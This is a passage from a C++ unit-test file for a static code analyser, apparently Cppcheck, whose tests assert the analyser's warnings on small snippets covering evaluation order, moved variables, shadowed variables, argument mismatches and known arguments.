settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n 